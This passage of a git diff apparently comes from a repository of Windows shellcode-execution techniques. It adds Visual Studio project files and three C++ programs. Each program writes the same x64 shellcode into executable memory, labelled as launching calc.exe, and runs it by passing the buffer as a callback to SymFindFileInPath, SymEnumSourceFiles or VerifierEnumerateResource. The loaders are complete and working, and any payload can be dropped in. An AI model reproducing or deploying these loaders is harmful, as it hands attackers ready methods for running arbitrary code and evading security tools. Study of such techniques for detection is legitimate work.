kernel32.lib;user32.lib;gdi32.lib;winspool.lib;Dbghelp.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/SymEnumProcesses/SymEnumProcesses.vcxproj.filters b/SymEnumProcesses/SymEnumProcesses.vcxproj.filters new file mode 100644 index 0000000..e6e0d4d --- /dev/null +++ b/SymEnumProcesses/SymEnumProcesses.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/SymFindFileInPath/SymFindFileInPath.cpp b/SymFindFileInPath/SymFindFileInPath.cpp new file mode 100644 index 0000000..ac67f42 --- /dev/null +++ b/SymFindFileInPath/SymFindFileInPath.cpp @@ -0,0 +1,50 @@ +#include +#include + +// requires Dbghelp.lib +#include +#pragma comment(lib, "Dbghelp.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +int main() { + + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::SymInitialize(hProcess, NULL, TRUE); + + SYMSRV_INDEX_INFO finfo; + ::SymSrvGetFileIndexInfo("c:\\windows\\system32\\kernel32.dll", &finfo, NULL); + + char dummy[MAX_PATH]; + + + ::SymFindFileInPath(hProcess, "c:\\windows\\system32", "kernel32.dll", &finfo.timestamp, finfo.size, 0, SSRVOPT_DWORDPTR, dummy, (PFINDFILEINPATHCALLBACK)address, NULL); + + + return 0; + +} \ No newline at end of file diff --git a/SymFindFileInPath/SymFindFileInPath.vcxproj b/SymFindFileInPath/SymFindFileInPath.vcxproj new file mode 100644 index 0000000..aa9b747 --- /dev/null +++ b/SymFindFileInPath/SymFindFileInPath.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {81376644-3f09-490e-963e-2266154c188e} + SymFindFileInPath + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/SymFindFileInPath/SymFindFileInPath.vcxproj.filters b/SymFindFileInPath/SymFindFileInPath.vcxproj.filters new file mode 100644 index 0000000..39ac045 --- /dev/null +++ b/SymFindFileInPath/SymFindFileInPath.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/SysEnumSourceFiles/SysEnumSourceFiles.cpp b/SysEnumSourceFiles/SysEnumSourceFiles.cpp new file mode 100644 index 0000000..43acb2f --- /dev/null +++ b/SysEnumSourceFiles/SysEnumSourceFiles.cpp @@ -0,0 +1,41 @@ +#include +#include + +// requires Dbghelp.lib +#include +#pragma comment(lib, "Dbghelp.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::SymInitialize(::GetCurrentProcess(), NULL, TRUE); + + ::SymEnumSourceFiles(::GetCurrentProcess(), NULL, NULL, (PSYM_ENUMSOURCEFILES_CALLBACK)address, NULL); + + +} \ No newline at end of file diff --git a/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj b/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj new file mode 100644 index 0000000..8548bbc --- /dev/null +++ b/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {0c660de2-1fac-4be7-a1ba-0ba0e96c1562} + SysEnumSourceFiles + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj.filters b/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj.filters new file mode 100644 index 0000000..6346f0d --- /dev/null +++ b/SysEnumSourceFiles/SysEnumSourceFiles.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/VerifierEnumerateResource/VerifierEnumerateResource.cpp b/VerifierEnumerateResource/VerifierEnumerateResource.cpp new file mode 100644 index 0000000..568f492 --- /dev/null +++ b/VerifierEnumerateResource/VerifierEnumerateResource.cpp @@ -0,0 +1,58 @@ +#include +#include +#include + +typedef ULONG(WINAPI* VerifierEnumResourceFn)( + HANDLE Process, + ULONG Flags, + ULONG ResourceType, + AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, + PVOID EnumerationContext + ); + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + HMODULE lib = LoadLibraryW(L"verifier.dll"); + + VerifierEnumResourceFn VerifierEnumResource; + + *(FARPROC*)&VerifierEnumResource = GetProcAddress(lib,"VerifierEnumerateResource"); + + if (NULL == VerifierEnumResource) + { + printf("could not find entry point %s in verifier.dll\n", + "VerifierEnumerateResource"); + return GetLastError(); + } + + VerifierEnumResource(::GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)addr, NULL); + +} \ No newline at end of file diff --git a/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj b/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj new file mode 100644 index 0000000..3cb3439 --- /dev/null +++ b/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {3eb22637-5913-436c-b6b4-7e90de2c7069} + VerifierEnumerateResource + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj.filters b/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj.filters new file mode 100644 index 0000000..966b847 --- /dev/null +++ b/VerifierEnumerateResource/VerifierEnumerateResource.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file